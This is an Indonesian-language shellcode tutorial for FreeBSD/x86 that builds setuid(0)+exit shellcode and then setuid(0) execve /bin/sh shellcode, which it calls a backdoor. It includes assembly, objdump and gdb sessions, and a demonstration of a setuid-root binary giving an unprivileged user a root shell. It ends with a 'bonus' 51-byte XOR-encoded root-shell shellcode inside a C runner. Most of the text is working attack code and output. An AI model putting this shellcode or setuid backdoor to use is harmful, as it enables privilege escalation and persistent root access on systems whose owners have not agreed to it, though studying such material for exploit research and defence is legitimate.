ok mari kita tes dulu memanggil syscall setuid dan langsung menggunakan
syscall exit:

sebelumnya kita liat dulu kebutuhan kita:
-----------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep exit
#define SYS_exit        1
#define SYS_thr_exit    431
ev1lut10n#
-----------------------
yang akan kita pakai adl yg ini:
#define SYS_exit        1

ok kita siapkan label dengan nama keluar, di bawahnya kita eksekusi
syscall exit:

keluar:
mov     eax,0x01
int     80h

------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor eax,eax
push eax
push eax
mov eax,0x17
int 80h

keluar:
push    byte 0x01
pop     eax
int     80h

-----------------


misal namanya setuid_exit.asm

ev1lut10n# nasm -f elf setuid_exit.asm
ev1lut10n# ld -o setuid_exit setuid_exit.o


ev1lut10n# ./setuid_exit

gak ada segmentation fault berarti ok heh?

untuk membuat shellcodenya gunakan objdump seperti di linux:
-----------------------------
ev1lut10n# objdump -d setuid_exit
setuid_exit:     file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
8048080:       31 c0                   xor    %eax,%eax
8048082:       50                      push   %eax
8048083:       50                      push   %eax
8048084:       b8 17 00 00 00          mov    $0x17,%eax
8048089:       cd 80                   int    $0x80

0804808b <keluar>:
804808b:       6a 01                   push   $0x1
804808d:       58                      pop    %eax
804808e:       cd 80                   int    $0x80
ev1lut10n#
_________________

jika register eax diganti register ax, berdasarkan pengalaman masih ada
null string, jadi kita pake register 8 bit: al

mov    $0x17,%eax

menjadi:


mov    $0x17,%al


kompile:
ev1lut10n# nasm -f elf setuid_exit2.asm
ev1lut10n# ld -o setuid_exit setuid_exit.o

ev1lut10n# objdump -d setuid_exit2

setuid_exit2:     file format elf32-i386-freebsd

Disassembly of section .text:

08048080 <_start>:
8048080:       31 c0                   xor    %eax,%eax
8048082:       50                      push   %eax
8048083:       50                      push   %eax
8048084:       b0 17                   mov    $0x17,%al
8048086:       cd 80                   int    $0x80

08048088 <keluar>:
8048088:       6a 01                   push   $0x1
804808a:       58                      pop    %eax
804808b:       cd 80                   int    $0x80

dari hasil objdump shellcodenya adl:

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80


--------------------
/**freebsd setuid then exit shellcode made by: ev1lut10n**/
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80";
int main()
{
       fprintf(stdout,"Length: %d\n",strlen(shellcode));
       (*(void(*)()) shellcode)();

}
-------------------

misal namanya keluar.c:

ev1lut10n# gcc -o keluar keluar.c
ev1lut10n# ./keluar
Length: 13
ev1lut10n#

dieksekusi dg benar

\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80
 1   2   3   4   5   6   7   8   9   10  11  12  13

ok selanjutnya kita akan membuat sebuah backdoor dengan shellcode setuid
execve /bin/sh


------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep execve
#define SYS_execve      59
#define SYS___mac_execve        415
#define SYS_fexecve     492
ev1lut10n#
-------------------

yang akan dipakai adalah yg: #define    SYS_execve      59

59 dalam hex: 3b

al kita isi dengan 3b

---------------
#include <unistd.h>

    int
    execve(const char *path, char *const argv[], char *const envp[]);


berikut ini kode assembly untuk eksekusi /bin/sh:
-----------------
xor    eax,eax; eax diset ke null
push   byte 0 ;sama dengan push eax
push   '//sh' ;alamat //sh disimpan ke stack
push   '/bin'
mov    ebx,esp
push   byte 0 ;sama dengan push eax
push   esp
push   ebx
push   byte 0
mov    al,0x3b ;syscall execve
int    80h
--------------------


jika dilakukan strace kurang lebih fungsi execve dieksekusi spt ini:
execve("/bin/sh", "/bin/sh", NULL)




setelah itu kita gabungkan dengan kode asm untuk setuid shellcode:
-----------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor    eax,eax
push   byte 0
push   byte 0
mov    al,0x17
int    80h

xor    eax,eax
push   byte 0
push   '//sh'
push   '/bin'
mov    ebx,esp
push   byte 0
push   esp
push   ebx
push   byte 0
mov    al,0x3b
int    80h
--------------

untuk memahami kode di atas lalukan kompile dengan opsi -g:

----------
ev1lut10n# nasm -f elf suid.asm -g
ev1lut10n# ld -o suid suid.o
ev1lut10n# gdb -q suid
(gdb) l
1       ;copyleft by dom dom aka m0nk3y
2       global _start
3       section .text
4       _start:
5       xor    eax,eax
6       push   byte 0
7       push   byte 0
8       mov    al,0x17
9       int    80h
10
(gdb) l
11      xor    eax,eax
12      push   byte 0
13      push   '//sh'
14      push   '/bin'
15      mov    ebx,esp
16      push   byte 0
17      push   esp
18      push   ebx
19      push   byte 0
20      mov    al,0x3b
(gdb) b 16
Breakpoint 1 at 0x804809a: file suid.asm, line 16.
(gdb) run
Starting program: /root/shellcode/suid

Breakpoint 1, 0x0804809a in _start ()
(gdb) i r
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0xbfbfe9f0       -1077941776
esp            0xbfbfe9f0       0xbfbfe9f0
ebp            0x0      0x0
esi            0x0      0
edi            0x0      0
eip            0x804809a        0x804809a
eflags         0x246    582
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x3b     59
(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0:      "/bin//sh"
(gdb)

---------


sebelumnya esp menyimpan alamat /bin/sh yang telah kita push ke stack:

13      push   '//sh'
14      push   '/bin'

selanjutnya isi esp yg berupa alamat memori /bin/sh disimpan ke ebx:
15      mov    ebx,esp

(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0:      "/bin//sh"
(gdb)

0xbfbfe9f0 adlaah alamat /bin/sh

mulai break di baris ke 16 sehingga ebx :
ebx            0xbfbfe9f0       -1077941776

(gdb) x/s -1077941776
0xbfbfe9f0:      "/bin//sh"
(gdb)


gdb) b 21
Breakpoint 1 at 0x80480a2: file suid.asm, line 21.
(gdb) run
Starting program: /root/shellcode/suid

Breakpoint 1, 0x080480a2 in _start ()

ev1lut10n# nasm -f elf suid.asm
ev1lut10n# ld -o suid suid.o
ev1lut10n# chmod u+s suid
ev1lut10n# uname -a
FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18
02:24:46 UTC 2011
[email protected]:/usr/obj/usr/src/sys/GENERIC  i386
ev1lut10n# su ev1lut10n
$ id
uid=1001(ev1lut10n) gid=1001(ev1lut10n) groups=1001(ev1lut10n)
$ ./suid
# id
uid=0(root) gid=0(wheel) egid=1001(ev1lut10n) groups=1001(ev1lut10n)
#

(gdb) i r
eax            0x3b     59


karena register 32 bit (eax) terdiri dari 2 register 16 bit : ax di mana
ax terdiri lagi dari 2 register 8 bit , dengan mengisi register 8 bit al
dengan
0x3b maka eax=0x3b


Bonus Stage:
===============================================
/**
Title : 51 bytes FreeBSD/x86 encrypted setuid(0) execve /bin/sh
Date : Sun May 29 08:07:11 UTC 2011
Author; ev1lut10n ([email protected])
Web : devilzc0de.org

Tested on: FreeBSD 8.2-RELEASE i386
special thanks to gunslinger,flyf666,petimati,peneter,wenkhairu, danzel,
net_spy, and all my friends
**/
#include <stdio.h>
#include <string.h>
int main()
{
char sc[]="\xeb\x0d\x5e\x31\xc9\xb1\x1f\x80\x36\x42\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x73\x82\x12\x12\xf2\x55\x8f\xc2\x73\x82"
"\x12\x2a\x6d\x6d\x31\x2a\x2a\x6d\x20\x2b\x2c\xcb\xa1\x12\x16"
"\x11\x12\xf2\x79\x8f\xc2";
fprintf(stdout,"Length: %d\n",strlen(sc));
(*(void(*)()) sc)();
       return 0;
}
================================================